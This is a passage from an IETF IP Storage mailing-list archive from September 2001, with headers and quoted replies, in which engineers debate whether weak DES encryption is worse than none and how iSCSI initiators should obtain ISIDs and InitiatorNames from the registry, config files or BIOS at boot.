X-Sent: 10 Sep 2001 17:50:37 GMT Received: from PKONING.equallogic.com (pkoning.dev.equallogic.com [192.168.1.126]) by deneb.dev.equallogic.com (8.11.2/8.11.2) with ESMTP id f8AHncf32236; Mon, 10 Sep 2001 13:50:03 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15260.64840.568000.603546@gargle.gargle.HOWL> Date: Mon, 10 Sep 2001 13:50:00 -0400 From: Paul Koning To: bill@sanera.net Cc: ips@ece.cmu.edu Subject: RE: iFCP: security position References: <5.0.2.1.2.20010907192713.039a8b70@zbl6c002.corpeast.baynetworks.com> X-Mailer: VM 6.95 under 21.4 (patch 3) "Academic Rigor" XEmacs Lucid Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Excerpt of message (sent 7 September 2001) by Bill Strahm: > Why do you care how traffic is encrypted ??? > > Would you rather see Clear traffic than DES traffic ? Yes, absolutely. That is because clear traffic does not mislead. It is obviously not secure. DES is sufficiently weak that encrypting with it could be viewed as a form of false advertising. This is also what is wrong with things like WEP -- these are systems that pretend to offer security but in fact do not. And people defend them with similar arguments. Or, for that matter, Fred Foobar's Famous Snake Oil encryption algorithm. The problem in all these cases is that the appearance of crypto without the reality is much, much worse than the absence of crypto. You should have either strong crypto, or none. After all, strong crypto is readily available. DES shows up as mandatory in IPsec for reasons that were political, not technical, and that became obsolete several years ago. paul From owner-ips@ece.cmu.edu Mon Sep 10 16:38:13 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA00540 for ; Mon, 10 Sep 2001 16:38:13 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8AIYCG02576 for ips-outgoing; Mon, 10 Sep 2001 14:34:12 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from sentinel.sanera.net (ns1.sanera.net [208.253.254.10]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8AIY9P02566 for ; Mon, 10 Sep 2001 14:34:09 -0400 (EDT) Received: from newton.sanera.net (newton [192.168.254.11]) by sentinel.sanera.net (8.11.2/8.11.2) with ESMTP id f8AI0qO04705; Mon, 10 Sep 2001 11:00:52 -0700 Received: from strahmw2k (dhcp-pc-100-165.sanera.net [192.168.100.165]) by newton.sanera.net (8.11.4/8.11.4) with SMTP id f8AI0l210272; Mon, 10 Sep 2001 11:00:47 -0700 (PDT) From: "Bill Strahm" To: "Paul Koning" Cc: Subject: RE: iFCP: security position Date: Mon, 10 Sep 2001 10:58:48 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 In-Reply-To: <15260.64840.568000.603546@gargle.gargle.HOWL> Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit WEPs problem was not a weakness in encryption security, heck the crypto is rock solid 128 bit used in every SSL connection on the internet (including all of your stock transactions, credit card transactions etc.). Note that the cryptography is FINE. What was not fine was the system built around it, specifically, there was no rekeying algorithm (bad) and they deployed it in such a way that as soon as you saw a little over a million packets on the wire, it was broken by default. The next thing that tends to break crypto systems is random number generation, there were many hacks on Kerberos based on the usage of a timestamp to initialize the random number generator. The third thing that tends to break crypto systems is social engineering (Please give me your password tends to work about 25% of the time when random people start calling into your company claiming to be I.T.) WAY down the list is actually breaking the cipher... Ok, given 100K and 22 hours, I can break DES... However if my data is only worth 10K and I cange keys often, then this is acceptable. Again it is up to the administrator to determine what the acceptable crytography is. Heck I use VERY good crypto, but then I have fast machines, and live in a country that lets me use it. Until the IPsec WG removes DES as a MUST implement, I am sorry but it will be in every conforming IPsec implementation out there. Bill Sanera Systems Inc. -----Original Message----- From: Paul Koning [mailto:pkoning@jlc.net] Sent: Monday, September 10, 2001 10:50 AM To: bill@Sanera.net Cc: ips@ece.cmu.edu Subject: RE: iFCP: security position Excerpt of message (sent 7 September 2001) by Bill Strahm: > Why do you care how traffic is encrypted ??? > > Would you rather see Clear traffic than DES traffic ? Yes, absolutely. That is because clear traffic does not mislead. It is obviously not secure. DES is sufficiently weak that encrypting with it could be viewed as a form of false advertising. This is also what is wrong with things like WEP -- these are systems that pretend to offer security but in fact do not. And people defend them with similar arguments. Or, for that matter, Fred Foobar's Famous Snake Oil encryption algorithm. The problem in all these cases is that the appearance of crypto without the reality is much, much worse than the absence of crypto. You should have either strong crypto, or none. After all, strong crypto is readily available. DES shows up as mandatory in IPsec for reasons that were political, not technical, and that became obsolete several years ago. paul From owner-ips@ece.cmu.edu Mon Sep 10 18:41:30 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA04287 for ; Mon, 10 Sep 2001 18:41:30 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8AKmcP12159 for ips-outgoing; Mon, 10 Sep 2001 16:48:38 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from clyde.stargateip.com ([209.237.5.66]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8AKmVP12150 for ; Mon, 10 Sep 2001 16:48:31 -0400 (EDT) Received: from stargateip.com (dhcp-115.stargateip.com [10.10.5.115]) by clyde.stargateip.com (8.9.1/8.9.1) with ESMTP id NAA22538 for ; Mon, 10 Sep 2001 13:42:27 -0700 (PDT) Message-ID: <3B9D25EF.90C34E96@stargateip.com> Date: Mon, 10 Sep 2001 13:43:27 -0700 From: Venu Gopal Gandesiri X-Mailer: Mozilla 4.76 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 CC: ips@ece.cmu.edu Subject: REMOVE References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Bill Strahm wrote: > WEPs problem was not a weakness in encryption security, heck the crypto is > rock solid 128 bit used in every SSL connection on the internet (including > all of your stock transactions, credit card transactions etc.). Note that > the cryptography is FINE. > > What was not fine was the system built around it, specifically, there was no > rekeying algorithm (bad) and they deployed it in such a way that as soon as > you saw a little over a million packets on the wire, it was broken by > default. > > The next thing that tends to break crypto systems is random number > generation, there were many hacks on Kerberos based on the usage of a > timestamp to initialize the random number generator. > > The third thing that tends to break crypto systems is social engineering > (Please give me your password tends to work about 25% of the time when > random people start calling into your company claiming to be I.T.) > > WAY down the list is actually breaking the cipher... Ok, given 100K and 22 > hours, I can break DES... However if my data is only worth 10K and I cange > keys often, then this is acceptable. > > Again it is up to the administrator to determine what the acceptable > crytography is. Heck I use VERY good crypto, but then I have fast machines, > and live in a country that lets me use it. Until the IPsec WG removes DES > as a MUST implement, I am sorry but it will be in every conforming IPsec > implementation out there. > > Bill > Sanera Systems Inc. > > -----Original Message----- > From: Paul Koning [mailto:pkoning@jlc.net] > Sent: Monday, September 10, 2001 10:50 AM > To: bill@Sanera.net > Cc: ips@ece.cmu.edu > Subject: RE: iFCP: security position > > Excerpt of message (sent 7 September 2001) by Bill Strahm: > > Why do you care how traffic is encrypted ??? > > > > Would you rather see Clear traffic than DES traffic ? > > Yes, absolutely. > > That is because clear traffic does not mislead. It is > obviously not secure. DES is sufficiently weak that encrypting with > it could be viewed as a form of false advertising. > > This is also what is wrong with things like WEP -- these are systems > that pretend to offer security but in fact do not. And people defend > them with similar arguments. Or, for that matter, Fred Foobar's > Famous Snake Oil encryption algorithm. The problem in all these cases > is that the appearance of crypto without the reality is much, much > worse than the absence of crypto. You should have either strong > crypto, or none. After all, strong crypto is readily available. > > DES shows up as mandatory in IPsec for reasons that were political, not > technical, and that became obsolete several years ago. > > paul -- ********************************************************************** Dance like no one's watching, love like you've never been hurt, sing like no one's listening, live like it's heaven on earth. Happiness is a journey, not a destination. VENU GOPAL GANDESIRI Platys Communications Inc 3150 A Coronado Drive SantaClara, CA, 95054 Phone # : 408-496-4435 (W) Phone # : 408-243-4870 (H) ********************************************************************** This email and any files transmitted with it are confidential and are intended solely for the use of the individual or entity to which they are addressed. Access to this e-mail by anyone else is unauthorized. If you are not the intended recipient, any disclosure, copying, distribution or any action taken or omitted to be taken in reliance on it, is prohibited. From owner-ips@ece.cmu.edu Mon Sep 10 21:46:19 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA09573 for ; Mon, 10 Sep 2001 21:46:19 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8ANnWg23094 for ips-outgoing; Mon, 10 Sep 2001 19:49:32 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from zcamail05.zca.compaq.com (zcamail05.zca.compaq.com [161.114.32.105]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8ANnRP23085 for ; Mon, 10 Sep 2001 19:49:27 -0400 (EDT) Received: by zcamail05.zca.compaq.com (Postfix, from userid 12345) id 2F10E77FB; Mon, 10 Sep 2001 16:53:41 -0700 (PDT) Received: from exchou-gh02.cca.cpqcorp.net (exchou-gh02.cca.cpqcorp.net [16.110.248.202]) by zcamail05.zca.compaq.com (Postfix) with ESMTP id 974147859; Mon, 10 Sep 2001 16:53:40 -0700 (PDT) Received: by exchou-gh02.cca.cpqcorp.net with Internet Mail Service (5.5.2652.78) id ; Mon, 10 Sep 2001 18:49:17 -0500 Message-ID: <31891B757C09184BBFEC5275F85D5595104DC6@cceexc18.americas.cpqcorp.net> From: "Martin, Nick" To: "'Jim Hafner'" , "'ips@ece.cmu.edu'" Subject: RE: iSCSI: login issue - partial consensus call Date: Mon, 10 Sep 2001 15:35:27 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2652.78) Content-Type: text/plain Sender: owner-ips@ece.cmu.edu Precedence: bulk Jim, Although I am not an expert in Microsoft drivers, I have checked with an expert and he confirms that "mini-port" storage drivers for NT4 did not have the ability to "query" the registry using a "key". If a command line for this instance number of this driver is stored in the registry, it will be passed to the driver as it initializes. We have learned not to rely on parameters passed from the registry in the driver command line. There are a number of conditions which can cause this information to be incorrect. (As an example two different controller models supported by the same driver will each be treated as instance 0 and get the same command line.) In my first hand Unix driver experience, I have found it rare for a driver to be able to read a file. If iSCSI is only to be used for secondary or auxiliary storage devices, then utilities running from primary storage can supply the required parameters. However, if iSCSI is to be used for primary storage (i.e. system disk or root disk) then the iSCSI driver in the Initiator can not access parameters stored on that disk to initialize itself before establishing a connection to an iSCSI target. Storage drivers must be able to initialize and operate in the pre-boot and early-boot stages of system initialization before any disks are available. Dependence on parameters not available until the system disk is mounted will prevent iSCSI from being usable as a system disk. IMHO, indicating that these are easy problems with simple elegant solutions seems misleading. I am not saying these problems can not be solved. Administrators can and will configure whatever they are required to configure. If they need it to work, they won't give up until it does. I just want to see that the number of things that must be configured to use iSCSI effectively are kept to a minimum. I hope iSCSI can seem easier to administer than other storage network technologies. Thanks, Nick -----Original Message----- From: Jim Hafner [mailto:hafner@almaden.ibm.com] Sent: Friday, September 07, 2001 11:23 AM To: eddy_quicksall@ivivity.com; ips@ece.cmu.edu Subject: RE: iSCSI: login issue - partial consensus call Eddy, I have ideas on how this ought to be done, analogous to way that InitiatorName would get assigned. Take WinXX for example, I'd have a well-defined registry key where the miniports would look for their InitiatorName. The install of the first iSCSI miniport driver would look for that key, not find it and then instantiate whatever name is provided by the software installer. After that, any other driver installation (hopefully all driver installers would use the same key) would see that value and accept it. If not, then they could use another vendor-key which would render them as being a 'separate iSCSI Node' (and the conflict issues go away). In a similar way, the registry could hold ranges of ISIDs for each driver that installed. A driver on installation would claim some range of ISID's not already claimed by other drivers. If a driver claimed too many, then the next install might fail or trigger a management interface to reassign. If a driver didn't play by these rules (either because it didn't want to or was broken) then the customer probably get a new vendor! Right now, miniport drivers already get some (typically vendor-specific) information from the registry. There is no reason to believe WE can't cooperate in determining well-known keys for this purpose. I suggested in a private e-mail with David Black that we could make this ISID partitioning assignment a bit easier. For example, if we simply had in the registry a 'counter' for each miniport as it loaded. This counter could map nicely to a Portal Group Tag. Then we embed the portal group tag in the ISID (in some field within the ISID). Then you get explicit partitioning of ISIDs without a direct management interface that can screw up (David's concern). The drivers effectively enumerate themselves (and perhaps multiple portal groups for each driver, as needed) and the rest is for free. I think that drivers already enumerate themselves anyway, so this shouldn't be a problem. Similar things could happen for Unix and friends by just having a defined /etc/initiatorname file and enumeration of the drivers in /dev/iscsi. I didn't think this was such a big deal! Jim Hafner "Eddy Quicksall" @ece.cmu.edu on 09/07/2001 06:51:06 am Please respond to Sent by: owner-ips@ece.cmu.edu To: John Hufferd/San Jose/IBM@IBMUS, "Sandeep Joshi" cc: Subject: RE: iSCSI: login issue - partial consensus call John, We really should do this so a driver can be written for existing OS's. How would you hand out ISIDs when a Miniport is being loaded? Eddy -----Original Message----- From: John Hufferd [mailto:hufferd@us.ibm.com] Sent: Thursday, September 06, 2001 3:21 PM To: Sandeep Joshi Cc: ips@ece.cmu.edu Subject: Re: iSCSI: login issue - partial consensus call I understand you point, however, the discussion we had on this, talked about each HBA needing to have an install process that is OS specific. It was suppose to be an OS specific install or startup process that handed out the ISIDs (or ISID ranges). I think your point is that you wish that there was no reason to interact with the OS, in order to get installed. I do not think that is a good assumption. It is the OS that needs to let the HBA know what the iSCSI Initiator Node Name is, so that the HBA can configure to use it. It might as well hand out the ISIDs at the same time. You are suggesting that making the ID of the iSCSI HBA only a HW item. This is not where we came down previously. You want to make your job of interfacing with the OS, simpler, and put more burden on the administrator. This was the mistake we made with FC and I would not like to see that repeated here. You say that there needs to be Jumpers or switches, well this is up to your adapter. We use to do that kind of stuff before the Plug and Play started working with the OS. We need to work with the OS in a similar manor. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Sandeep Joshi @research.bell-labs.com on 09/06/2001 11:44:00 AM Sent by: sandeepj@research.bell-labs.com To: John Hufferd/San Jose/IBM@IBMUS cc: ips@ece.cmu.edu Subject: Re: iSCSI: login issue - partial consensus call John, Is this what you are referring to ? (Sec 1.3 of Naming & Discovery) > b) The ISID name space of the iSCSI Initiator should be partitioned > among the intiator portal groups. How do you perceive this will be achieved in practice ? This can turn out to be an nightmare for HBA vendors. IRQ settings, jumpers, or setup programs which run at boot instantly come to mind. Ideally, ISIDs should work as SCAM works but that would involve adding a mid-layer to OSes, to distribute that ISID name space. Modifying OSes in the field is tough, as we all know. I realize the standard wont mandate such configuration items but I'd rather we not add rules which would force such configuration tweaks to become necessary. We should reconsider the above rule and its consequence on the login issue Nick brought up. Regards, -Sandeep John Hufferd wrote: > > By the way, the OS is also suppose to have a way to hand out (partition up) > ISIDs to the various iSCSI Initiator functions, whether they are Software > or Hardware. > > So, even though, I was initially swayed by Nick's Arguments -- we require > the OS to partition up the ISID space and hand out specific ISIDs or ranges > of ISIDs (in some manor) to the iSCSI Initiator functions (regardless of > whether they are in Software or Hardware) -- I do not now see, if the > implementation is as specified in our spec., how there is a conflict in > ISID. > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com From owner-ips@ece.cmu.edu Mon Sep 10 22:47:58 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA11587 for ; Mon, 10 Sep 2001 22:47:57 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8B0P1j24780 for ips-outgoing; Mon, 10 Sep 2001 20:25:01 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8B0OqP24763 for ; Mon, 10 Sep 2001 20:24:56 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id UAA17036; Mon, 10 Sep 2001 20:22:34 -0400 Received: from d03nm042.boulder.ibm.com (d03nm042.boulder.ibm.com [9.99.140.42]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8B0On813678; Mon, 10 Sep 2001 18:24:49 -0600 Importance: Normal Subject: RE: iSCSI: login issue - partial consensus call To: "Martin, Nick" , ips@ece.cmu.edu From: "Jim Hafner" Date: Mon, 10 Sep 2001 17:24:48 -0700 Message-ID: X-MIMETrack: Serialize by Router on D03NM042/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/10/2001 05:24:49 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Nick, I'm surprised by your comments. I've had some (small) experience with both WinNT and Linux drivers (I've hacked on both) and have used the registry to read configuration information for WinNT and am currently reading a config file for a Linux driver. Even the network drivers in Unix have to read /etc/hostname and other such files. But YMMV. As for the boot issue, this is orthogonal, in my opinion. Boot will always have to work differently (that's why there's a boot draft for iSCSI). What I identify myself as for a boot drive (InitiatorName, ISID) may not be what I use for all other contexts. I can use my boot identity to read enough of the boot image to get my real identity and then reconnect to all my drives (including, perhaps but not necessarily my boot drive) and off I go. I probably won't be able to connect to all my drives right up front anyway (that's not even how any boot works, as far as I know). Typically, boot reads via BIOS just enough to get going on the first disk and then loads the real drivers for each logical unit it finds. The bus scan for the "other logical units" is driven by the kernel (after it loads), not by BIOS. So, you're correct that for just boot I'll need a RAM/BIOS based InitiatorName, but that need not be my "true" identity for access to all drives after kernel boot. But such a BIOS will also have to have a fair chunk of network configuration information, as well as either a static (RAM/BIOS) ipaddress for iSCSI boot disk or will have to have a lot of "discovery" logic (e.g., SLP, iSNS, etc) to find the place that knows where my boot disk is. If I can configure that much, then I can configure an InitiatorName of my true identiry as well (if needed). Additionally, for boot, I only need on connection (this is not really performance path, and I almost surely don't want the complexity of path failover, etc), so I only need one ISID for that (might as well pick ISID=zero). Then I can always have my "on the fly" drivers use non-zero ISID and there will be no collisions with the boot logic. Jim Hafner "Martin, Nick" on 09/10/2001 01:35:27 pm To: Jim Hafner/Almaden/IBM@IBMUS, "'ips@ece.cmu.edu'" cc: Subject: RE: iSCSI: login issue - partial consensus call Jim, Although I am not an expert in Microsoft drivers, I have checked with an expert and he confirms that "mini-port" storage drivers for NT4 did not have the ability to "query" the registry using a "key". If a command line for this instance number of this driver is stored in the registry, it will be passed to the driver as it initializes. We have learned not to rely on parameters passed from the registry in the driver command line. There are a number of conditions which can cause this information to be incorrect. (As an example two different controller models supported by the same driver will each be treated as instance 0 and get the same command line.) In my first hand Unix driver experience, I have found it rare for a driver to be able to read a file. If iSCSI is only to be used for secondary or auxiliary storage devices, then utilities running from primary storage can supply the required parameters. However, if iSCSI is to be used for primary storage (i.e. system disk or root disk) then the iSCSI driver in the Initiator can not access parameters stored on that disk to initialize itself before establishing a connection to an iSCSI target. Storage drivers must be able to initialize and operate in the pre-boot and early-boot stages of system initialization before any disks are available. Dependence on parameters not available until the system disk is mounted will prevent iSCSI from being usable as a system disk. IMHO, indicating that these are easy problems with simple elegant solutions seems misleading. I am not saying these problems can not be solved. Administrators can and will configure whatever they are required to configure. If they need it to work, they won't give up until it does. I just want to see that the number of things that must be configured to use iSCSI effectively are kept to a minimum. I hope iSCSI can seem easier to administer than other storage network technologies. Thanks, Nick -----Original Message----- From: Jim Hafner [mailto:hafner@almaden.ibm.com] Sent: Friday, September 07, 2001 11:23 AM To: eddy_quicksall@ivivity.com; ips@ece.cmu.edu Subject: RE: iSCSI: login issue - partial consensus call Eddy, I have ideas on how this ought to be done, analogous to way that InitiatorName would get assigned. Take WinXX for example, I'd have a well-defined registry key where the miniports would look for their InitiatorName. The install of the first iSCSI miniport driver would look for that key, not find it and then instantiate whatever name is provided by the software installer. After that, any other driver installation (hopefully all driver installers would use the same key) would see that value and accept it. If not, then they could use another vendor-key which would render them as being a 'separate iSCSI Node' (and the conflict issues go away). In a similar way, the registry could hold ranges of ISIDs for each driver that installed. A driver on installation would claim some range of ISID's not already claimed by other drivers. If a driver claimed too many, then the next install might fail or trigger a management interface to reassign. If a driver didn't play by these rules (either because it didn't want to or was broken) then the customer probably get a new vendor! Right now, miniport drivers already get some (typically vendor-specific) information from the registry. There is no reason to believe WE can't cooperate in determining well-known keys for this purpose. I suggested in a private e-mail with David Black that we could make this ISID partitioning assignment a bit easier. For example, if we simply had in the registry a 'counter' for each miniport as it loaded. This counter could map nicely to a Portal Group Tag. Then we embed the portal group tag in the ISID (in some field within the ISID). Then you get explicit partitioning of ISIDs without a direct management interface that can screw up (David's concern). The drivers effectively enumerate themselves (and perhaps multiple portal groups for each driver, as needed) and the rest is for free. I think that drivers already enumerate themselves anyway, so this shouldn't be a problem. Similar things could happen for Unix and friends by just having a defined /etc/initiatorname file and enumeration of the drivers in /dev/iscsi. I didn't think this was such a big deal! Jim Hafner "Eddy Quicksall" @ece.cmu.edu on 09/07/2001 06:51:06 am Please respond to Sent by: owner-ips@ece.cmu.edu To: John Hufferd/San Jose/IBM@IBMUS, "Sandeep Joshi" cc: Subject: RE: iSCSI: login issue - partial consensus call John, We really should do this so a driver can be written for existing OS's. How would you hand out ISIDs when a Miniport is being loaded? Eddy -----Original Message----- From: John Hufferd [mailto:hufferd@us.ibm.com] Sent: Thursday, September 06, 2001 3:21 PM To: Sandeep Joshi Cc: ips@ece.cmu.edu Subject: Re: iSCSI: login issue - partial consensus call I understand you point, however, the discussion we had on this, talked about each HBA needing to have an install process that is OS specific. It was suppose to be an OS specific install or startup process that handed out the ISIDs (or ISID ranges). I think your point is that you wish that there was no reason to interact with the OS, in order to get installed. I do not think that is a good assumption. It is the OS that needs to let the HBA know what the iSCSI Initiator Node Name is, so that the HBA can configure to use it. It might as well hand out the ISIDs at the same time. You are suggesting that making the ID of the iSCSI HBA only a HW item. This is not where we came down previously. You want to make your job of interfacing with the OS, simpler, and put more burden on the administrator. This was the mistake we made with FC and I would not like to see that repeated here. You say that there needs to be Jumpers or switches, well this is up to your adapter. We use to do that kind of stuff before the Plug and Play started working with the OS. We need to work with the OS in a similar manor. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Sandeep Joshi @research.bell-labs.com on 09/06/2001 11:44:00 AM Sent by: sandeepj@research.bell-labs.com To: John Hufferd/San Jose/IBM@IBMUS cc: ips@ece.cmu.edu Subject: Re: iSCSI: login issue - partial consensus call John, Is this what you are referring to ? (Sec 1.3 of Naming & Discovery) > b) The ISID name space of the iSCSI Initiator should be partitioned > among the intiator portal groups. How do you perceive this will be achieved in practice ? This can turn out to be an nightmare for HBA vendors. IRQ settings, jumpers, or setup programs which run at boot instantly come to mind. Ideally, ISIDs should work as SCAM works but that would involve adding a mid-layer to OSes, to distribute that ISID name space. Modifying OSes in the field is tough, as we all know. I realize the standard wont mandate such configuration items but I'd rather we not add rules which would force such configuration tweaks to become necessary. We should reconsider the above rule and its consequence on the login issue Nick brought up. Regards, -Sandeep John Hufferd wrote: > > By the way, the OS is also suppose to have a way to hand out (partition up) > ISIDs to the various iSCSI Initiator functions, whether they are Software > or Hardware. > > So, even though, I was initially swayed by Nick's Arguments -- we require > the OS to partition up the ISID space and hand out specific ISIDs or ranges > of ISIDs (in some manor) to the iSCSI Initiator functions (regardless of > whether they are in Software or Hardware) -- I do not now see, if the > implementation is as specified in our spec., how there is a conflict in > ISID. > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com From owner-ips@ece.cmu.edu Tue Sep 11 02:35:40 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA27879 for ; Tue, 11 Sep 2001 02:35:40 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8B4u0v13249 for ips-outgoing; Tue, 11 Sep 2001 00:56:00 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8B4txP13245 for ; Tue, 11 Sep 2001 00:55:59 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id AAA38150; Tue, 11 Sep 2001 00:53:40 -0400 Received: from d03nm042.boulder.ibm.com (d03nm042.boulder.ibm.com [9.99.140.42]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8B4tu867716; Mon, 10 Sep 2001 22:55:56 -0600 Subject: RE: iSCSI: login issue - partial consensus call To: "Jim Hafner" Cc: ips@ece.cmu.edu, "Martin, Nick" X-Mailer: Lotus Notes Release 5.0.5 September 22, 2000 Message-ID: From: "Prasenjit Sarkar" Date: Mon, 10 Sep 2001 20:55:34 -0700 X-MIMETrack: Serialize by Router on D03NM042/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/10/2001 09:55:55 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Jim, Nick, I think Jim is right that it is possible to read files/registry but Nick is also right that there are various OS and architecture-specific restrictions on when certain operations are permitted. My experience tells me that making a list of OSes and then OS-specific mechanisms for ISID partitioning is going to be non-trivial, though I would not prevent anyone from venturing into this :-). Prasenjit Prasenjit Sarkar Research Staff Member IBM Almaden Research San Jose Jim Hafner/Almaden To: "Martin, Nick" , /IBM@IBMUS ips@ece.cmu.edu Sent by: cc: owner-ips@ece. Subject: RE: iSCSI: login issue - partial cmu.edu consensus call 09/10/2001 05:24 PM Nick, I'm surprised by your comments. I've had some (small) experience with both WinNT and Linux drivers (I've hacked on both) and have used the registry to read configuration information for WinNT and am currently reading a config file for a Linux driver. Even the network drivers in Unix have to read /etc/hostname and other such files. But YMMV. As for the boot issue, this is orthogonal, in my opinion. Boot will always have to work differently (that's why there's a boot draft for iSCSI). What I identify myself as for a boot drive (InitiatorName, ISID) may not be what I use for all other contexts. I can use my boot identity to read enough of the boot image to get my real identity and then reconnect to all my drives (including, perhaps but not necessarily my boot drive) and off I go. I probably won't be able to connect to all my drives right up front anyway (that's not even how any boot works, as far as I know). Typically, boot reads via BIOS just enough to get going on the first disk and then loads the real drivers for each logical unit it finds. The bus scan for the "other logical units" is driven by the kernel (after it loads), not by BIOS. So, you're correct that for just boot I'll need a RAM/BIOS based InitiatorName, but that need not be my "true" identity for access to all drives after kernel boot. But such a BIOS will also have to have a fair chunk of network configuration information, as well as either a static (RAM/BIOS) ipaddress for iSCSI boot disk or will have to have a lot of "discovery" logic (e.g., SLP, iSNS, etc) to find the place that knows where my boot disk is. If I can configure that much, then I can configure an InitiatorName of my true identiry as well (if needed). Additionally, for boot, I only need on connection (this is not really performance path, and I almost surely don't want the complexity of path failover, etc), so I only need one ISID for that (might as well pick ISID=zero). Then I can always have my "on the fly" drivers use non-zero ISID and there will be no collisions with the boot logic. Jim Hafner "Martin, Nick" on 09/10/2001 01:35:27 pm To: Jim Hafner/Almaden/IBM@IBMUS, "'ips@ece.cmu.edu'" cc: Subject: RE: iSCSI: login issue - partial consensus call Jim, Although I am not an expert in Microsoft drivers, I have checked with an expert and he confirms that "mini-port" storage drivers for NT4 did not have the ability to "query" the registry using a "key". If a command line for this instance number of this driver is stored in the registry, it will be passed to the driver as it initializes. We have learned not to rely on parameters passed from the registry in the driver command line. There are a number of conditions which can cause this information to be incorrect. (As an example two different controller models supported by the same driver will each be treated as instance 0 and get the same command line.) In my first hand Unix driver experience, I have found it rare for a driver to be able to read a file. If iSCSI is only to be used for secondary or auxiliary storage devices, then utilities running from primary storage can supply the required parameters. However, if iSCSI is to be used for primary storage (i.e. system disk or root disk) then the iSCSI driver in the Initiator can not access parameters stored on that disk to initialize itself before establishing a connection to an iSCSI target. Storage drivers must be able to initialize and operate in the pre-boot and early-boot stages of system initialization before any disks are available. Dependence on parameters not available until the system disk is mounted will prevent iSCSI from being usable as a system disk. IMHO, indicating that these are easy problems with simple elegant solutions seems misleading. I am not saying these problems can not be solved. Administrators can and will configure whatever they are required to configure. If they need it to work, they won't give up until it does. I just want to see that the number of things that must be configured to use iSCSI effectively are kept to a minimum. I hope iSCSI can seem easier to administer than other storage network technologies. Thanks, Nick -----Original Message----- From: Jim Hafner [mailto:hafner@almaden.ibm.com] Sent: Friday, September 07, 2001 11:23 AM To: eddy_quicksall@ivivity.com; ips@ece.cmu.edu Subject: RE: iSCSI: login issue - partial consensus call Eddy, I have ideas on how this ought to be done, analogous to way that InitiatorName would get assigned. Take WinXX for example, I'd have a 